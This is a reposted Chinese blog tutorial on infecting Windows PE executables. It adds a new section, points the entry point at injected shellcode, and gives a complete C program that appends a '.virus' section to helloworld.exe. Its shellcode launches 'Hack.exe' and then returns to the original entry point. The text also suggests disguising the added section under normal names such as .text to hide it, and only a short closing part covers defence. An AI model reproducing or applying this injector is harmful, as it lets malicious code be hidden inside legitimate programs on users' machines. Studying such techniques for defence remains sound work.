聲明
因爲在評論區看到原博主說要把文章刪掉。。。心想這麼好的文章刪了真的可惜,所以就先轉一份。。。
一、前言
上一篇文章所討論的利用縫隙實現代碼的植入有一個很大的問題,就是我們想要植入的代碼的長度不能夠比縫隙大,否則需要把自身的代碼截成幾個部分,再分別插入不同的縫隙中。而這次所討論的方法是增加一個節區,這個節區完全可以達到私人訂製的效果,其大小完全由我們自己來決定,這樣的話,即便是代碼較長,也不用擔心。而這種方式最大的缺陷就是不利於惡意代碼自身的隱藏,因此在現實中可能並不常用。其實,我在這裏討論節區的添加,是爲了以後更加深入的討論打下基礎,因爲在加殼以及免殺技術中,經常會對PE文件添加節區。這篇文章首先會討論如何手工添加節區,之後會討論編程實現節區的添加。
二、手工添加節區
就我個人而言,只要不是過於繁瑣,我都比較傾向於直接利用十六進制代碼編輯軟件來修改目標程序。因爲當理解了各種文件的格式之後,純手工對代碼進行編輯會更加靈活,也更加方便。只要ShellCode不太長,那麼手工添加節區來植入代碼,其實還是比較容易的。一般來說,添加節區由以下四個步驟組成:
1、在節表後面添加一個IMAGE_SECTION_HEADER,用於保存所添加的節的基本信息。
2、更新IMAGE_FILE_HEADER中的NumberOfSections字段,添加了幾個節區就增加多少。
3、更新IMAGE_OPTIONAL_HEADER中的SizeOfImage字段,這裏需要加上所添加節區的大小。如果添加代碼,還需修改SizeOfCode的大小以及程序入口點。
4、添加節區的數據。
這裏先用PEiD看一下上一篇文章中所編寫的helloworld.exe的節區情況(這裏所討論的是Release版,如果是Debug版,會有所不同):
圖1 用PEiD查看節區
從截圖中可以看到helloworld.exe包含有三個節區,再來看一下IMAGE_SECTION_HEADER的定義:
- typedef struct _IMAGE_SECTION_HEADER {
- BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; //8個字節的節區名稱
- union { //節區尺寸
- DWORD PhysicalAddress;
- DWORD VirtualSize;
- } Misc;
- DWORD VirtualAddress; //節區的RVA地址
- DWORD SizeOfRawData; //在文件中對齊後的尺寸
- DWORD PointerToRawData; //在文件中的偏移
- DWORD PointerToRelocations; //在OBJ文件中使用,重定位的偏移
- DWORD PointerToLinenumbers; //行號表的偏移(供調試用)
- WORD NumberOfRelocations; //在OBJ文件中使用,重定位項數目
- WORD NumberofLinenumbers; //行號表中行號的數目
- DWORD Characteristics; //節區的屬性
- } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
該結構體的成員很多,但是真正需要使用的只有在PEiD中顯示的那6個,即Name、VirtualSize、VirtualAddress、SizeofRawData、PointerToRawData與Characteristics。結合Hex Editor Neo觀察如下:
在圖2中可以發現,IMAGE_SECTION_HEADER的長度是40個字節,每一項節表的相關數據在Hex Editor Neo中正好佔了兩行半的內容。這裏再解釋一下在PEiD中所顯示的那六個成員的意義:
1、Name:節區名稱。這是一個8位ASCII碼名(不是Unicode內碼),用來定義節區名稱。一般來說,節區名稱以一個“.”開始(如.text),但是其實這個“.”並不是必需的。需要說明的是,如果節區的名稱超過8個字節,則沒有最後的終止標誌“NULL”字節。帶有一個“$”的節區名字會從鏈接器那裏得到特殊的對待,前面帶有“$”的相同名字的節區被合併,在合併後的節區中,它們是按“$”後面的字符字母順序進行合併的。
對於helloworld.exe這個程序來說,爲了實現所添加節區的隱藏,可以將新添加的節區名稱僞裝成正常的節區名稱,比如.crt、.bss、.edata或者.sdata等等。或者把原來正常的節區名稱改掉,如將原來的.text改爲.jy(我名字的縮寫),而將所添加的節區名稱命名爲.text,一般來說,系統不會因爲節區改了名字而出錯。這裏爲了方便起見,將新節區的名字設定爲.virus。
2、VirtualSize(V.Size):指出實際的、被使用的節區大小,是節區在沒進行對齊處理前的實際大小。如果VirtualSize大於SizeOfRawData,那麼SizeOfRawData是來自可執行文件初始化數據的大小,與VirtualSize相差的字節用零填充。這個字段在OBJ文件中是被設定爲0的。
這裏我將節的大小直接設定爲對齊後的大小。由於文件對齊是0x1000字節,那麼就採用最小值即可,直接設定爲0x1000。由於計算機是小端顯示,且佔據4個字節,因此應當寫爲“00 10 00 00”,這種小端的書寫方式在之後的數據填寫中也會採用。
3、VirtualAddress(V.Offset):表示節區裝載到內存中的RVA。這個地址是按照內存頁對齊的,它的值總是SectionAlignment的整數倍。在Microsoft工具中,第一個塊的默認RVA爲1000h。在OBJ中,該字段沒有意義,並被設爲0。
VirtualAddress的值是上一個節區的起始位置加上上一個節對齊後的長度的值,在PEiD中可見,上一個節區的起始位置是0x7000,上個節區對齊後的長度是0x4000,因此新節區的起始位置是0xB000。
4、SizeOfRawData(R.Size):該節區在磁盤文件中所佔的大小。在可執行文件中,該字段包含經過FileAlignment調整後的塊的長度。例如,指定FileAlignment的大小爲200h,如果VirtualSize中的塊的長度爲19Ah個字節,這一塊應保持的長度爲200h個字節。
這裏只要填寫一個最小值0x1000就可以。
5、PointerToRawData(R.Offset):該節區在磁盤文件中的偏移。程序經編譯或彙編後生成原始數據,這個字段用於給出原始數據在文件中的偏移。如果程序自裝載PE或COFF文件(而不是由操作系統裝入),這一字段比VirtualAddress還重要。在這種狀態下,必須完全使用線性映像方法裝入文件,所以需要在該偏移處找到塊的數據,而不是VirtualAddress字段中的RVA地址。
由於上一個節區的位移爲0x7000,大小爲0x3000,所以這裏的R.Offset應該爲0xA000。
6、Characteristics(Flags):節區屬性。該字段是一組指出節區屬性(如代碼/數據/可讀/可寫)的標誌。具體的屬性可以查表獲得。
這裏可以直接參考.text的屬性,即“20 0000 60”(包含代碼,可讀可執行)。
那麼依據上述分析,在緊接着上一個節區位置的0x240處開始,直接手工填寫相關數據如下:圖3 手工添加節區的基本信息
至此,節區的基本信息添加完成,接下來需要修改這個PE文件的節區數量,之前該文件有3個節區,這裏需要修改成4個。找到IMAGE_FILE_HEADER中的NumberOfSections字段進行修改:
圖4 更改節區數量
接下來需要修改文件映像的大小,也就是SizeOfImage的值。因爲這裏我新添加了一個節區,那麼就應該把新的節區的大小加上原始SizeOfImage的值,就是新的文件映像的大小。這裏原始的SizeOfImage大小爲0xB000,新節區的大小爲0x1000,那麼新的SizeOfImage的大小就是0xC000。
由於我在文件中添加了新的代碼段,所以這裏還需要修改SizeOfCode的大小,出現多個代碼節,就應該把這個字段修改爲它們的總和。我添加了0x1000字節的內容,那麼就應將這個數據段修改成0x6000:
圖6 修改代碼節的大小
至此,修改PE結構字段的內容都已經做完了,現在開始需要添加真實的數據,根據上述分析,文件的起始位置爲0xA000,長度爲0x1000。填入ShellCode,並在其後填入00,將0x1000長度的空間補滿(不補滿的話,系統會報錯,補多了的話,會顯示有附加數據):
圖7 添加ShellCode
至此,所有修改完成,再次使用PEiD查看,如圖所示:
圖9 添加成功
經過實際測試,程序正常運行,效果與上一篇文章所討論的相同,這裏不再贅述。
三、編程添加節區
與上一篇文章中的在縫隙中添加代碼的方法類似,通過編程添加一個節區其實就是對文件的一系列操作,並且依然需要對PE文件的合法性進行檢驗。通過編程的方法添加節區和手動方法在步驟上是一樣的,只不過是將上面的手動步驟以通過調用API函數的方式進行編程而已。完整代碼如下:
- #include <windows.h>
- #define FILENAME "helloworld.exe" //欲“感染”的文件名
-
- char szSecName[] = ".virus"; //所添加的節區名稱
- int nSecSize = 4096; //所添加的節區大小(字節)
-
- char shellcode[] =
- "\x33\xdb" //xor ebx,ebx
- "\x53" //push ebx
- "\x68\x2e\x65\x78\x65" //push 0x6578652e
- "\x68\x48\x61\x63\x6b" //push 0x6b636148
- "\x8b\xc4" //mov eax,esp
- "\x53" //push ebx
- "\x50" //push eax
- "\xb8\x31\x32\x86\x7c" //mov eax,0x7c863231
- "\xff\xd0" //call eax
- "\xb8\x90\x90\x90\x90" //mov eax,OEP
- "\xff\xe0\x90"; //jmp eax
-
- HANDLE hFile = NULL;
- HANDLE hMap = NULL;
- LPVOID lpBase = NULL;
-
- DWORD AlignSize(int nSecSize, DWORD Alignment)
- {
- int nSize = nSecSize;
- if (nSize % Alignment != 0 )
- {
- nSecSize = (nSize / Alignment + 1) * Alignment;
- }
-
- return nSecSize;
- }
-
- void AddSectionData(int nSecSize)
- {
- PBYTE pByte = NULL;
- //申請用來添加數據的空間,這裏需要減去ShellCode本身所佔的空間
- pByte = (PBYTE)malloc(nSecSize-(strlen(shellcode)+3));
- ZeroMemory(pByte, nSecSize-(strlen(shellcode)+3));
-
- DWORD dwNum = 0;
- //令文件指針指向文件末尾,以準備添加數據
- SetFilePointer(hFile, 0, 0, FILE_END);
- //在文件的末尾寫入ShellCode
- WriteFile(hFile, shellcode, strlen(shellcode)+3, &dwNum, NULL);
- //在ShellCode的末尾用00補充滿
- WriteFile(hFile, pByte, nSecSize-(strlen(shellcode)+3), &dwNum, NULL);
- FlushFileBuffers(hFile);
-
- free(pByte);
- }
-
- int main()
- {
- hFile = CreateFile(FILENAME,
- GENERIC_READ | GENERIC_WRITE,
- FILE_SHARE_READ,
- NULL,
- OPEN_EXISTING,
- FILE_ATTRIBUTE_NORMAL,
- NULL);
- hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);
- lpBase = MapViewOfFile(hMap,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
-
- PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
- PIMAGE_NT_HEADERS pNtHeader = NULL;
-
- //PE文件驗證,判斷e_magic是否爲MZ
- if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
- {
- UnmapViewOfFile(lpBase);
- CloseHandle(hMap);
- CloseHandle(hFile);
- return 0;
- }
- //根據e_lfanew來找到Signature標誌位
- pNtHeader = (PIMAGE_NT_HEADERS)((BYTE *)lpBase + pDosHeader->e_lfanew);
- //PE文件驗證,判斷Signature是否爲PE
- if(pNtHeader->Signature != IMAGE_NT_SIGNATURE)
- {
- UnmapViewOfFile(lpBase);
- CloseHandle(hMap);
- CloseHandle(hFile);
- return 0;
- }
-
- int nSecNum = pNtHeader->FileHeader.NumberOfSections;
- DWORD dwFileAlignment = pNtHeader->OptionalHeader.FileAlignment;
- DWORD dwSecAlignment = pNtHeader->OptionalHeader.SectionAlignment;
-
- PIMAGE_SECTION_HEADER pSecHeader = (PIMAGE_SECTION_HEADER)((DWORD)
- &(pNtHeader->OptionalHeader)+pNtHeader->
- FileHeader.SizeOfOptionalHeader);
-
- PIMAGE_SECTION_HEADER pTmpSec = pSecHeader + nSecNum;
-
- //拷貝節區名稱
- strncpy((char *)pTmpSec->Name, szSecName, 7);
- //節的內存大小
- pTmpSec->Misc.VirtualSize = AlignSize(nSecSize, dwSecAlignment);
- //節的內存起始位置
- pTmpSec->VirtualAddress = pSecHeader[nSecNum - 1].VirtualAddress +
- AlignSize(pSecHeader[nSecNum - 1].Misc.VirtualSize, dwSecAlignment);
- //節的文件大小
- pTmpSec->SizeOfRawData = AlignSize(nSecSize, dwFileAlignment);
- //節的文件起始位置
- pTmpSec->PointerToRawData = pSecHeader[nSecNum - 1].PointerToRawData +
- AlignSize(pSecHeader[nSecNum - 1].SizeOfRawData, dwSecAlignment);
- //節的屬性(包含代碼,可執行,可讀)
- pTmpSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ ;
-
- //修正節的數量,自增1
- pNtHeader->FileHeader.NumberOfSections ++;
- //修正映像大小
- pNtHeader->OptionalHeader.SizeOfImage += pTmpSec->Misc.VirtualSize;
-
- //將程序的入口地址寫入ShellCode
- DWORD dwOep = pNtHeader->OptionalHeader.ImageBase+pNtHeader->OptionalHeader.AddressOfEntryPoint;
- *(DWORD *)&shellcode[25] = dwOep;
-
- //添加節區數據
- AddSectionData(pTmpSec->SizeOfRawData);
-
- //修正代碼長度(只在添加代碼時才需修改此項)
- pNtHeader->OptionalHeader.SizeOfCode += pTmpSec->SizeOfRawData;
- //修正程序的入口地址(只在添加代碼並想讓ShellCode提前執行時才需修改此項)
- pNtHeader->OptionalHeader.AddressOfEntryPoint = pTmpSec->VirtualAddress;
-
- FlushViewOfFile(lpBase, 0);
-
- UnmapViewOfFile(lpBase);
- CloseHandle(hMap);
- CloseHandle(hFile);
-
- return 0;
- }
以上代碼比較簡單,就是基本的文件操作,已給出了相關的註釋,這裏不再論述。
四、防範方法
在我看來,感染類病毒並不容易清除,因爲它會把自身代碼植入到正常PE文件中,儘管中毒後可以運用殺毒工具針對其對計算機造成的損害進行清除,但是難以刪除隱藏在正常程序中的惡意代碼。雖然我們可以不再運行含有惡意程序的軟件,但是隻要運行過一次,那麼它就有可能將計算機中的所有PE文件感染,這樣即便我們使用殺毒工具清除了病毒所產生的不良行爲,但是一旦運行別的程序,依舊會再次中病毒。而且就算有方法將藏身於PE文件中的病毒代碼徹底清除,也有可能破壞程序主體,使該程序不能夠正常運行。因此,最好的方法就是從源頭上杜絕這種情況的出現,不要下載和運行來歷不明的程序,並且安裝殺毒軟件。也就是說,一定要培養出良好的計算機安全意識。